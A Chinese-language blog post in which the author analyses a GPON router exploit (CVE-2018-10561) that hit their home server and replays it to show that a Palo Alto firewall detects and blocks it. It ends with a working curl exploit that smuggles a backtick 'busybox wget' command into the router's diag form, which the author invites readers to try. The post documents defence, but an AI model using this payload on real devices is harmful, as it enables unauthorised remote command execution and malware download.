GPON 攻擊手法

GPON攻擊重現(CVE-2018-10561)

5/12下午,我家對外放出的網頁服務,第一次遭到了GPON(CVE-2018-10561)漏洞攻擊,這裡先用新聞說明一下GPON漏洞的原由。

https://www.ithome.com.tw/news/123090

看了一下截錄的封包內容,確認了是跟近期漏洞發現者使用相同的攻擊腳本無誤。下圖紅字的部份是攻擊碼,藍色的部份是我家的伺服器,沒法給大家看哦!

下圖反白處可以看到,發現者所使用的攻擊腳本與我截錄的封包內容是相同的。

我把這些相關訊息放在Facebook上給我們群的同好參考,就有人在問能否提供相關的封包做為研究,但礙於封包內有敏感資訊,所以我就想著,”我能否重現這筆攻擊?”

攻擊重現

中間的測試我就不說明了,直接講我怎麼做的吧!

第一,我利用Chrome的擴充套件將攻擊語法往我的測試機上丟。

第二,確認Paloalto有辨識並阻擋我的攻擊。(上面的紀錄是由我的設備發起的攻擊,下面是由駭客打進來的。)

第三,我打完攻擊之後,就完全沒法上網了,這跟Paloalto的另外一項自動防護功能有關,設備發現我有惡意行為就直接把我的IP給封鎖了。

沒事,解掉就好了,只是想讓各位客倌知道Paloalto的特異功能而已。

封包比對

來對一下封包吧!

從Paloalto上看,可以確認兩個Log是相同的,代表攻擊手法有被特徵碼辨識到。

從封包上看,紅色字是我想隱藏的設備IP及對外IP,藍色部份是因為我是使用Chrome來進行攻擊,所以多少還是有Chrome的表頭在裡面,最後面一行就可以看出所使用的語法是相同的,可證明GPON的攻擊重現是成功的。

結尾:

  1. 我只能重現這個語法,因為攻擊行為是直接NAT到Web Server,且在防火牆就直接被丟棄,所以不會回應相對訊息,也就沒法知道後續的攻擊行為。
  2. 這是確認與攻擊行為相同的封包,我也將語法轉換為CURL放在下面,各位可以試試看。(我有確認過是可行的)
  3. 我手上還有防火牆紀錄下來的其他攻擊封包,看能否有時間一一將它們解析。

curl -i -X POST \

-H “Content-Type:gzip, deflate” \

-H “User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36” \

-H “Accept:*/*” \

-d \

‘XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://x.x.x.x/80`&ipv=0

‘ \

‘http://x.x.x.x/GponForm/diag_Form?images%2F’

發佈日期:
分類: 舊資料